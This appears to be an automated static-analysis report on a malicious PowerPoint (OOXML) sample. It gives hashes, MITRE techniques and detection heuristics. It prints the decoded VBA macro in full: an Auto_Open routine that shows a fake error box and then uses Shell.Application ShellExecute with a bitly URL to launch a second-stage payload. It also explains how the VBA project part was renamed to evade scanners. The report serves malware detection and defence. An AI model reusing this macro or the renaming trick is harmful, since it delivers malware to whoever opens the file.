Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 115239f3a4c673db…

MALICIOUS

Office (OOXML)

8.3 KB First seen: 2021-10-23
MD5: 37910641d01544a176b9b4ffce81ad3a SHA-1: ff7189e4b1318c00e2bc047d662a665d4cc64d9c SHA-256: 115239f3a4c673dbbcf990b8a81594c350a0e8c7c5216d1ffca4ffc7751d35b5
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro with an Auto_Open subroutine that displays a message box and then uses CreateObject("Shell.Application") to execute a URL. The macro is obfuscated by renaming the VBA project part and using a seemingly unrelated module name. The Auto_Open macro is designed to execute a second-stage payload from the embedded URL, which is a common technique for malware delivery.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/kasodkaosdkaoskd.b)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim objShell
    Set objShell = CreateObject("Shell.Application")
    Call objShell.ShellExecute(k1.k2.Tag, "https://www.bitly.com/wdkfokwdokrufhjwijjd", "", "open", 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
Sub Auto_Open()
MsgBox "Error!!"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/wdkfokwdokrufhjwijjd In document text (OOXML body / shared strings)
    • https://www.bitly.com/wdkfokwdokrufhjwijjd�In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 595 bytes
SHA-256: 8b3be2af91418279d744d738cada2b83fd32a15709f30b0adcf174371ba569de
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "k1"
Attribute VB_Base = "0{403E30EB-1C85-423B-8B50-3F8C1D2242B8}{AA7DE0A2-563F-48EA-9BA6-0747637603A6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Module11"
Sub Auto_Open()
MsgBox "Error!!"
    Dim objShell
    Set objShell = CreateObject("Shell.Application")
    Call objShell.ShellExecute(k1.k2.Tag, "https://www.bitly.com/wdkfokwdokrufhjwijjd", "", "open", 1)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/kasodkaosdkaoskd.b 19456 bytes
SHA-256: a38f81b1c8c32f39242c517985dd8d533ce77d923ce245c0b439bff4f859789c

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